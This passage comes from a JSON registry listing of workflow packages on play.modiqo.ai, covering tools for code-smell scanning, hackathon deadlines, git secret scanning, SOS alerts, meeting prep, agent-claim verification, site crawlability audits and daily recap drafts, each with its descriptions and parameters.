excluded): true or false."},{"name":"min_switch_cases","type":"integer","required":false,"default":"3","description":"Minimum number of distinct case labels a switch, match or if-elif statement must have before its case set counts towards a duplicate, from 2 through 100. A single statement at or above this size with no other carrier of the same case set is still reported on its own, as a candidate for polymorphism or strategy."},{"name":"include_deep_nesting","type":"string","required":false,"default":"true","description":"Whether to report functions or methods whose control-flow nesting (if, for, while, try, with, match or their brace-language equivalents) is deeper than max_nesting_depth (tests, migrations and generated code excluded): true or false."},{"name":"max_nesting_depth","type":"integer","required":false,"default":"4","description":"Functions with control-flow nesting deeper than this are reported, from 2 through 15; a function's body is depth 0 and its first if, for or while is depth 1. elif, else, except, finally and case/when-arm bodies continue their construct at its own depth rather than adding a level, matching common style-guide convention. Python counts are exact from the syntax tree, brace languages are heuristic."},{"name":"include_declared_rules","type":"string","required":false,"default":"true","description":"Whether to enforce user-declared forbid, require and boundary rules from a .design-rules.json file at each repository root and the rules_json parameter (tests, migrations and generated code excluded): true or false."},{"name":"rules_json","type":"string","required":false,"default":"[]","description":"JSON array of declared rule objects, each {id, kind, pattern, glob, message}, merged with any .design-rules.json at the repository root (the repo file wins on a matching id). Three kinds: forbid, a pattern that must never appear on one line of a file matching glob; require, a pattern that must appear somewhere in every file matching glob; boundary, an import that a file matching glob must never resolve to, matched against the raw specifier or, with an optional per-rule alias_map of string prefixes, its resolved repository path. Pattern is a literal substring unless regex is true. A malformed value fails the scan closed; a malformed or missing repository file only warns."},{"name":"include_singleton","type":"string","required":false,"default":"true","description":"Whether to report hand-rolled singleton classes, meaning a class enforcing its own single instance through at least two of a private or protected constructor, a static field of the class own type and a static accessor named instance, shared or getInstance (tests, migrations and generated code excluded): true or false."},{"name":"include_shotgun_surgery","type":"string","required":false,"default":"true","description":"Whether to report shotgun surgery, meaning files that keep being changed together in Git history so one conceptual change is spread across many files (merge commits, tests, migrations and generated code excluded): true or false."},{"name":"max_history_commits","type":"integer","required":false,"default":"500","description":"How many recent non-merge commits of Git history to read for change coupling, from 10 through 10000. Coupling is measured only inside this window, so a pairing that stopped long ago ages out of the report rather than persisting forever."},{"name":"min_cochanges","type":"integer","required":false,"default":"3","description":"How many commits two files must have been changed together in before they count as coupled, from 2 through 1000. Raising it reports only long-standing couplings."},{"name":"min_coupling_percent","type":"integer","required":false,"default":"60","description":"How much of the rarer file's own history the shared commits must account for before two files count as coupled, from 1 through 100. This keeps a file edited in nearly every commit from coupling to everything by sheer frequency."},{"name":"max_files_per_commit","type":"integer","required":false,"default":"30","description":"Commits touching more than this many source files are ignored when measuring change coupling, from 2 through 1000. An initial scaffold, a formatting sweep or a mass rename would otherwise couple every file to every other file."},{"name":"include_circular_imports","type":"string","required":false,"default":"true","description":"Whether to report circular imports, meaning groups of files that can only be loaded by loading each other, resolved against the files actually present so a third-party package is never part of a cycle (tests, migrations and generated code excluded): true or false."},{"name":"min_cycle_size","type":"integer","required":false,"default":"2","description":"How many files a cycle must contain before it is reported, from 2 through 1000. Two files importing each other is the common case and a real smell, so the default reports it; raise this to see only larger tangles."},{"name":"dominance_percent","type":"integer","required":false,"default":"75","description":"A convention is established for a package when one alternative holds at least this percent of the votes in a family, from 51 through 100; below it the family is reported as having no convention and nothing is flagged."},{"name":"min_voters","type":"integer","required":false,"default":"5","description":"Minimum number of files that must vote in a family before a convention is inferred, from 2 through 100000; smaller groups are reported as having no convention."},{"name":"include_untracked","type":"string","required":false,"default":"true","description":"Whether to include non-ignored untracked source files: true or false."},{"name":"extra_exclude_dirs_json","type":"string","required":false,"default":"[]","description":"JSON string array of additional directory names to exclude."},{"name":"max_file_bytes","type":"integer","required":false,"default":"2097152","description":"Maximum bytes per source file, from 1 through 16777216; larger files are skipped and counted."},{"name":"max_files","type":"integer","required":false,"default":"50000","description":"Maximum Git-visible files per repository, from 1 through 500000; a repository above the bound fails closed."},{"name":"max_rows_per_class","type":"integer","required":false,"default":"200","description":"Maximum rows kept per repository and class, from 1 through 100000; counts stay exact and a truncated flag is set when rows are dropped."},{"name":"since_ref","type":"string","required":false,"default":"","description":"Optional git ref (tag, branch or commit, e.g. v1.2.0 or HEAD~5) to diff against; every class reports findings added, removed and persisting since that ref, keyed on file plus family and alternative or function name so line shifts do not count. Empty disables the delta. A ref missing in one repository of a collection is reported as unavailable there, not fatal."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7185bd379aee4201ab78353b25adebbb8807a2559946005a32f303b9805a5e98","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":15,"kinds":{"api":0,"shell":15,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":11,"fan_out":1,"for_each_steps":11,"complexity":15,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":15}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sidships/hackathon-radar@0.1.2","reference":"sidships/hackathon-radar@0.1.2","uri":"https://play.modiqo.ai/sidships/hackathon-radar@0.1.2","manifest_uri":"https://play.modiqo.ai/sidships/hackathon-radar@0.1.2","name":"hackathon-radar","title":"hackathon-radar","description":"What opens, what closes tonight, and what changed since yesterday - one digest, zero setup. Sweeps Devpost, Devfolio, Unstop and MLH every morning, sorts strictly by soonest deadline, and puts a countdown on every row. Prizes and dates appear only when the source states them: a listing with no cash pool says how many non-cash prizes it has instead of claiming zero, and nothing is converted between currencies. Remembers what it showed you, so later runs mark what is genuinely new instead of repeating yesterday. The same event cross-listed on two platforms collapses into one row that says where else it appears. Every source reports its own health in a footer, and a source that is down costs you that source, never the run. Writes a markdown digest at out_path and its memory at state_path; optional place filter narrows to a city or country. No adapters, no credentials, no keys; needs only curl and python3.","owner":{"kind":"user","slug":"sidships"},"registry_organization":"sidships","tags":["typescript","hackathons","deadlines","events"],"primary_domain":"domain-uncategorized","author":"sidships","version":"0.1.2","published_at":"2026-09-03T17:02:37.547795+00:00","visibility":"public","quality_score":1,"size_bytes":30832,"license":null,"stats":{"downloads":34,"installs":0},"steps":{"count":5,"names":["mlh","sweep","unstop","devpost","devfolio"]},"parameters":[{"name":"out_path","type":"string","required":false,"default":"~/hackathon-radar.md","description":"Where the digest is written each run; overwritten every time, so point it somewhere you read. The one exception is a run where every source is unreachable: the previous digest is left in place rather than replaced with an empty one, and the run says so. Agent: ask the user where they want it on first run","example":"~/notes/hackathons.md"},{"name":"state_path","type":"string","required":false,"default":"~/.hackathon-radar.json","description":"The play's memory of what it has already shown you; this is what makes later runs able to say what is new","example":"~/.config/hackathon-radar.json"},{"name":"days_horizon","type":"integer","required":false,"default":"21","description":"Ignore events whose deadline is further out than this many days; events with no stated deadline are always kept and sorted last","example":"30"},{"name":"place","type":"string","required":false,"default":"","description":"Optional location filter matched against each event's stated location, e.g. india, london, online. Empty means everywhere. Agent: offer the user's own city","example":"manchester"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:53a668c8a1bf3d4aff0c7b4b635acdc8a18319b11d59216655ec33a83604a0bb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":4},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/himanshu-jha/git-history-secret-scan@0.8.5","reference":"himanshu-jha/git-history-secret-scan@0.8.5","uri":"https://play.modiqo.ai/himanshu-jha/git-history-secret-scan@0.8.5","manifest_uri":"https://play.modiqo.ai/himanshu-jha/git-history-secret-scan@0.8.5","name":"git-history-secret-scan","title":"git-history-secret-scan","description":"Finds credentials that remain reachable in local git history, not just the working tree. Deleting a .env and committing does not remove its earlier reachable blob, and a hackathon repo is usually made public at submission time. Three independent stages run as parallel DAG steps. They scan text blobs across every local ref, check env filenames in reachable commits, and query your existing gh session for a configured GitHub repository's visibility. Visibility is not inferred from the host. One join weighs each finding against that exposure. A stage that cannot complete becomes a labeled indeterminate rather than a silent pass, and every report states how many objects it actually walked, because a partial scan and a clean repository must not read the same. Completeness checks inspect every named remote and compare available local/file branch and tag tips. Network-ref coverage remains unverified: widening a fetch setting is not proof of a completed fetch. Read-only: never rewrites history or mutates the repository. The optional visibility lookup shells out to your existing gh login; when gh is missing, logged out, or bounded lookup coverage is incomplete, the report says visibility was not resolved rather than guessing.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-security","tool-git","security","secrets","git","hackathon"],"primary_domain":"domain-security","author":"himanshu748","version":"0.8.5","published_at":"2026-09-06T05:24:59.310517+00:00","visibility":"public","quality_score":1,"size_bytes":29287,"license":"MIT","stats":{"downloads":33,"installs":0},"steps":{"count":5,"names":["assess_exposure","remote_exposure","validate_history","tracked_env_files","scan_history_blobs"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path to the repository to scan. Leave it out and the most recently committed repository found under your usual project directories is scanned instead, with the report naming which one it chose. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/me/src/my-entry"},{"name":"budget","type":"string","required":false,"default":"20000","description":"Maximum history objects to walk. A scan that hits this limit says so in its report rather than reporting a clean result it did not earn. Raise it for a large repository.","example":"20000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e99e1937b983a841e6af0497169e1c5bd63ea488dfc0bdb2641c5eac27f1e1e0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bavya21/women-safety-sos-alert@1.2.0","reference":"bavya21/women-safety-sos-alert@1.2.0","uri":"https://play.modiqo.ai/bavya21/women-safety-sos-alert@1.2.0","manifest_uri":"https://play.modiqo.ai/bavya21/women-safety-sos-alert@1.2.0","name":"women-safety-sos-alert","title":"women-safety-sos-alert","description":"Autonomous women safety SOS and distress-dispatch workflow built to help women travelling alone, commuting after dark, and working late-night or night-shift hours. Rote executes the workflow sequentially by securely receiving Telegram credentials as runtime parameters, launching the SOS dispatcher as an isolated process, resolving the available network location, capturing device battery status, generating a high-priority distress card with incident time, location, coordinates, navigation links, and emergency helplines, and dispatching the alert through Telegram to designated responders. Rote then evaluates the actual process execution result and reports success only when the Telegram API confirms that the emergency alert was accepted.\n","owner":{"kind":"user","slug":"bavya21"},"registry_organization":"bavya21","tags":["safety","emergency","sos","women-safety","night-shift","emergency-response","geolocation","telegram","telemetry","incident-dispatch"],"primary_domain":"domain-uncategorized","author":"bavya21","version":"1.2.0","published_at":"2026-09-05T17:25:44.88777+00:00","visibility":"public","quality_score":1,"size_bytes":9526,"license":null,"stats":{"downloads":33,"installs":0},"steps":{"count":1,"names":["dispatch_sos"]},"parameters":[{"name":"TELEGRAM_BOT_TOKEN","type":"string","required":true,"description":"Telegram Bot API authentication token supplied securely at runtime"},{"name":"TELEGRAM_CHAT_ID","type":"string","required":true,"description":"Verified Telegram responder chat or channel ID supplied at runtime"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8b9ab487c96f7158e77461df7c9ee22e810164a66113ec325bb7c9d9e911158e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/hackathon-submission-readiness@0.7.4","reference":"himanshu-jha/hackathon-submission-readiness@0.7.4","uri":"https://play.modiqo.ai/himanshu-jha/hackathon-submission-readiness@0.7.4","manifest_uri":"https://play.modiqo.ai/himanshu-jha/hackathon-submission-readiness@0.7.4","name":"hackathon-submission-readiness","title":"hackathon-submission-readiness","description":"Audits a repository the way a hackathon judge reads it: cold, on a deadline, unwilling to debug someone else's setup. Six probe families run as parallel DAG steps: README cold-open, credentials, secret shapes, repo hygiene, TODO density and demo-path fragility. A probe that cannot complete returns a labeled indeterminate instead of failing the play. The readiness join reports blockers, risks and checks outside its scope. The cold-open probe checks fenced npm, pnpm, Yarn, Bun and Make tasks against applicable manifests, including supported env and single-command shell wrappers. It preserves npm lifecycle defaults and nearest ancestor package lookup, counts commands found, checked and unresolved separately, and reports unknown shell control flow or working directories as risks. The credentials probe separates environment variables read with a fallback from those read without one. Read-only: never writes to the audited repo, never runs its build or README commands, carries no credentials, needs only python3 and git.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-git","hackathon","audit","readiness","git"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.7.4","published_at":"2026-09-06T02:48:27.647978+00:00","visibility":"public","quality_score":1,"size_bytes":26459,"license":"MIT","stats":{"downloads":32,"installs":0},"steps":{"count":8,"names":["todos","hygiene","secrets","cold_open","demo_path","credentials","validate_repo","assess_readiness"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path to the repository to audit. Leave it out and the most recently committed repository found under your usual project directories is audited instead, with the report naming which one it chose. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/me/src/my-entry"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f049cd07027da93df377bab576ed8b80b00e3b69ec4e55cd9e744bbaec086f01","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":6,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/jaylabs/meeting-prep@0.1.25","reference":"jaylabs/meeting-prep@0.1.25","uri":"https://play.modiqo.ai/jaylabs/meeting-prep@0.1.25","manifest_uri":"https://play.modiqo.ai/jaylabs/meeting-prep@0.1.25","name":"meeting-prep","title":"meeting-prep","description":"Reads your Gmail and Calendar before a meeting and writes one page per meeting: the sentences you wrote that read like commitments, the ones they wrote that read like asks, and which asks you never replied to, each traced to a message id. Silence is provable; whether a reply answered is not, so it claims only what it shows. Connect GitHub, Linear or ClickUp and a commitment still open in mail can carry the merged pull request or completed task that suggests you did it, scoped to your own work and labelled a wording match. It writes the pages and their JSON, opens the first, and deletes only its own stale session folders.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["domain-personal-productivity","job-meeting-preparation","audience-founders-and-operators","effect-write","tool-gmail","tool-google-calendar","job-email-triage","commitments","follow-ups","before-a-call","daily-prep","meeting-prep","gmail","calendar"],"primary_domain":"domain-personal-productivity","author":"jayanth","version":"0.1.25","published_at":"2026-09-04T17:14:13.602782+00:00","visibility":"public","quality_score":1,"size_bytes":71589,"license":null,"stats":{"downloads":28,"installs":0},"steps":{"count":12,"names":["render","extract","read_full","live_reads","resolve_me","ensure_gmail","plan_lookups","list_mail_ids","list_meetings","ensure_calendar","gather_evidence","validate_inputs"]},"parameters":[{"name":"hours","type":"string","required":false,"default":"24","description":"How far ahead to read the calendar, in hours from now. Must be a whole number; clamped to 1..336. Run it the night before with the default and you get tomorrow.","example":"24"},{"name":"lookback_days","type":"string","required":false,"default":"30","description":"How far back to read mail for each attendee, in days. Must be a whole number; clamped to 1..365. It is also the number quoted when a person has no recent mail, so the empty answer stays a measured statement rather than a bare no.","example":"30"},{"name":"me","type":"string","required":false,"default":"","description":"The address the pages are written for, excluded from attendee lookups. Left empty it is read from the gmail adapter. Set it when the mailbox and the calendar are different accounts. If the adapter disagrees with it, or cannot be checked, every page says so.","example":"you@example.com"},{"name":"calendar_id","type":"string","required":false,"default":"primary","description":"Which calendar to read. primary is the one attached to the account the calendar credential belongs to.","example":"primary"},{"name":"max_gmail_calls","type":"string","required":false,"default":"60","description":"A hard ceiling on the message reads one run may spend, so a busy week cannot turn into a very long run. Must be a whole number; clamped to 1..500. People beyond the budget are named on their page as skipped rather than quietly left out.","example":"60"},{"name":"out_dir","type":"string","required":false,"default":"","description":"Where the prep pages go. Empty means a folder inside the run workspace. Anything else must sit inside your home directory and outside this play package, because the pages quote private mail. Every run gets its own timestamped subfolder.","example":"meeting-prep-pages"},{"name":"tools","type":"string","required":false,"default":"auto","description":"Optional sources used to check whether an open commitment was actually done. auto uses every one you have connected, none disables them, or name them - github, linear, clickup. Anything not connected is skipped and the page says which one and why. Connect one with rote powerpack credentials.","example":"auto"},{"name":"open_page","type":"string","required":false,"default":"true","description":"Whether to open the first page when the run finishes. On macOS this spawns open, on Linux xdg-open, against the play's own page and nothing else. A missing or failing opener is reported on the receipt and never fails the run.","values":["true","false"],"example":"true"}],"execution":{"adapters":[{"id":"jaylabs/clickup-v2","name":"clickup-v2","version":null,"credential_status":"required"},{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"modiqo/linear","name":"linear","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d0ece150fddb4b68d6084f3a0f3070ad10281d2e3fdb15f849c595fbaa835a19","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":10,"browser":0,"auth":2,"other":0},"distinct_kinds":1,"depth":9,"width":3,"fan_out":1,"for_each_steps":2,"complexity":12,"apis":[{"adapter":"calendar","steps":1,"methods":[],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/calendar","version":"0.0.4","protocol":null,"credentials":[]},{"adapter":"gmail","steps":1,"methods":[],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/gmail","version":"0.0.3","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/psohi-labs/polygraph@0.0.16","reference":"psohi-labs/polygraph@0.0.16","uri":"https://play.modiqo.ai/psohi-labs/polygraph@0.0.16","manifest_uri":"https://play.modiqo.ai/psohi-labs/polygraph@0.0.16","name":"polygraph","title":"polygraph","description":"Your agent says it fetched the data. This checks whether it did, scoring what it CLAIMED against what OSV, World Bank and USGS actually returned. No check is decided by the claim set talking about itself: every pass is owed to a figure, an advisory id, a request URL, an HTTP status or an error message that a source returned this run. On the run this was built from, a bluffing claim set failed 5 of 6 checks while still passing the one figure that happened to be true - it scores per claim, not per agent. Four checks: call reality, pagination exhaustion (claiming complete after 1 of 6 World Bank pages reaches 50 of 265 rows), citation retention (a cited advisory OSV never returned is a fabricated citation, not a present key), and error surfacing (a deliberately malformed query returns HTTP 400 - does the harness reproduce the status and message, or swallow them?). Five steps: four independent source reads in parallel, one join. Every source degrades to a labeled unknown if it goes down and the run still completes with a ledger; an indeterminate check is never a pass. You do not have to take that on trust: simulate_outage=osv, or all, forces named sources offline without touching your network, and the run labels itself a drill so a rehearsal can never be mistaken for a real failure. Read-only against every source: anonymous public reads, no credential, no adapter to install, nothing written back. Its only local effect is writing polygraph.html into out_dir, creating that directory if it does not exist; out_dir defaults to the run workspace. Needs only python3 3.9 or newer.","owner":{"kind":"org","slug":"psohi-labs"},"registry_organization":"psohi-labs","tags":["typescript","osv","effect-writes-one-file","domain-agent-operations","job-tool-honesty","tool-honesty","honesty","harness","agent","polygraph","fabrication","hallucination","pagination","citations","error-handling","rate-limits","ground-truth","evidence","verification","no-auth","public-api","world-bank","indicators","usgs","vulnerabilities"],"primary_domain":"domain-agent-operations","author":"psohi-labs","version":"0.0.16","published_at":"2026-09-05T06:36:51.71768+00:00","visibility":"public","quality_score":1,"size_bytes":22041,"license":null,"stats":{"downloads":27,"installs":0},"steps":{"count":6,"names":["render_page","vulns_truth","error_signal","score_claims","seismic_truth","indicator_truth"]},"parameters":[{"name":"package_name","type":"string","required":false,"default":"django","description":"Package name for the OSV vulnerability lookup (OSV package.name)"},{"name":"package_ecosystem","type":"string","required":false,"default":"PyPI","description":"OSV ecosystem for the package, e.g. PyPI, npm, Go (OSV package.ecosystem)"},{"name":"package_version","type":"string","required":false,"default":"3.0.0","description":"Exact package version to query (OSV version)"},{"name":"wb_indicator","type":"string","required":false,"default":"SP.POP.TOTL","description":"World Bank indicator code; its response envelope is the pagination fixture"},{"name":"wb_date","type":"string","required":false,"default":"2020","description":"World Bank observation year (date query parameter)"},{"name":"wb_per_page","type":"string","required":false,"default":"50","description":"Rows per World Bank page; smaller values make the pagination gap wider"},{"name":"usgs_starttime","type":"string","required":false,"default":"2026-08-01","description":"USGS FDSNWS starttime, ISO-8601. A fixed past window is what makes the count reproducible"},{"name":"usgs_endtime","type":"string","required":false,"default":"2026-08-02","description":"USGS FDSNWS endtime, ISO-8601"},{"name":"usgs_min_magnitude","type":"string","required":false,"default":"4.5","description":"USGS FDSNWS minmagnitude floor"},{"name":"simulate_outage","type":"string","required":false,"default":"","description":"Comma-separated sources to force offline so you can check the degraded path yourself - osv, worldbank, usgs, error_probe, or all. Named sources are never contacted; the run labels itself as a drill"},{"name":"claims_file","type":"string","required":false,"default":"","description":"Absolute path to a JSON object of the answers your harness CLAIMED. Empty scores the bundled demo claim set instead"},{"name":"out_dir","type":"string","required":false,"default":"","description":"Directory to write the HTML verdict page into. Empty writes polygraph.html into the run workspace"},{"name":"open_page","type":"string","required":false,"default":"never","description":"never leaves the page on disk, auto opens it in your default browser after the run"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5a762f88606c8971a4cf0d4ebfb8d0b41690df5c8cddf83cb5b7785f991ace8e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":{"api_tokens":122614,"context_tokens":12681,"exploration_ms":2297,"saved_per_run":null},"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nishitbaria/geo-ready@1.2.0","reference":"nishitbaria/geo-ready@1.2.0","uri":"https://play.modiqo.ai/nishitbaria/geo-ready@1.2.0","manifest_uri":"https://play.modiqo.ai/nishitbaria/geo-ready@1.2.0","name":"geo-ready","title":"geo-ready","description":"Audits whether ChatGPT, Claude, Perplexity and Gemini can crawl, read and cite a website. Scores it out of 100 from robots.txt, llms.txt, structured data and server-rendered content, then writes an HTML report and a paste-ready fix prompt for your coding agent.","owner":{"kind":"user","slug":"nishitbaria"},"registry_organization":"nishitbaria","tags":[],"primary_domain":"domain-uncategorized","author":"nishitbaria","version":"1.2.0","published_at":"2026-09-06T12:44:47.370868+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":206669,"license":null,"stats":{"downloads":26,"installs":0},"steps":{"count":18,"names":["render_html","agent_review","fetch_robots","fetch_sitemap","normalize_url","fetch_homepage","fetch_llms_txt","fetch_as_gptbot","fetch_llms_full","resolve_sitemap","verify_og_image","open_html_report","score_visibility","render_fix_prompt","fetch_as_claudebot","analyze_page_signals","fetch_agent_readiness","fetch_as_perplexitybot"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Origin to audit, scheme included and no trailing slash (e.g. https://example.com)."},{"name":"user_agent","type":"string","required":false,"default":"Mozilla/5.0 (compatible; AIVisibilityAudit/1.0)","description":"User-Agent sent with every read-only fetch."},{"name":"open_report","type":"string","required":false,"default":"false","description":"Set to true to open the HTML report in your default browser when the run finishes (macOS and Linux)."},{"name":"request_timeout_seconds","type":"string","required":false,"default":"25","description":"Per-request curl --max-time budget, in seconds."},{"name":"writer","type":"string","required":false,"default":"agent","description":"Agent CLI for the narrative review step. 'agent' tries claude, then codex, then gemini (whichever is installed and signed in on this machine). 'none' skips the step and the report renders without it. No API key is ever used -- auth stays with the local CLI's own login."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c5f17601dfa5f7be3dc8a66112cbed4714d45a15ff56cfe839cdffd7a9347df8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":18,"kinds":{"api":0,"shell":18,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":10,"width":6,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":9},{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/jaylabs/ship-recap@0.4.0","reference":"jaylabs/ship-recap@0.4.0","uri":"https://play.modiqo.ai/jaylabs/ship-recap@0.4.0","manifest_uri":"https://play.modiqo.ai/jaylabs/ship-recap@0.4.0","name":"ship-recap","title":"ship-recap","description":"It is 8pm, you shipped all day, and you have posted nothing. This reads your git commits and your Claude Code or Codex transcripts from that day and writes one HTML page you open. Each topic gets an X draft and a LinkedIn draft, shown as they will look in the feed, with a copy button and an illustration of that work. Every number and path in a draft has to appear in the evidence or the draft is sent back for one rewrite. Names you list in redact_terms are cut out as the day is read, and a page still carrying one is refused. It never posts, and with writer=none it makes no model call.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["domain-developer-workflow","job-build-in-public","job-daily-standup","audience-developers","effect-write","git","transcripts","social-drafts","recap","linkedin-post","x-post","daily-recap","standup","what-did-i-ship-today","commits","claude-code","codex","summarize-my-day","coding-session","social-media-post","standup-update","git-history"],"primary_domain":"domain-developer-workflow","author":"jayanth","version":"0.4.0","published_at":"2026-09-04T17:08:13.564732+00:00","visibility":"public","quality_score":1,"size_bytes":159450,"license":null,"stats":{"downloads":26,"installs":0},"steps":{"count":9,"names":["draw_art","plan_day","digest_day","write_post","find_angles","render_page","read_sessions","validate_scope","discover_activity"]},"parameters":[{"name":"open_page","type":"string","required":false,"default":"auto","description":"Open the finished recap in your browser when the run ends (auto), or only print its path (never).","values":["auto","never"],"example":"never"},{"name":"mode","type":"string","required":false,"default":"full","description":"full reads this machine's day and writes up to max_topics topics. quick is one topic on the mid-tier model, for a draft in a few minutes instead of a full run; the planner and the writer are measurably more literal. demo reads the bundled example day instead of your machine, and with writer=none it runs all nine steps without a single model call.","values":["full","quick","demo"],"example":"demo"},{"name":"root","type":"string","required":false,"default":"auto","description":"The folder whose git repositories are read. auto tries ~/code, ~/Documents, ~/src, ~/projects, ~/dev, ~/work, ~/repos and ~/git in that order and reports the one it used. Pass a path to pin it.","example":"~/work"},{"name":"date","type":"string","required":false,"default":"today","description":"Which day to recap. today is a rolling 24 hours, yesterday and a date like 2026-09-01 are calendar days, and NNd covers the last N 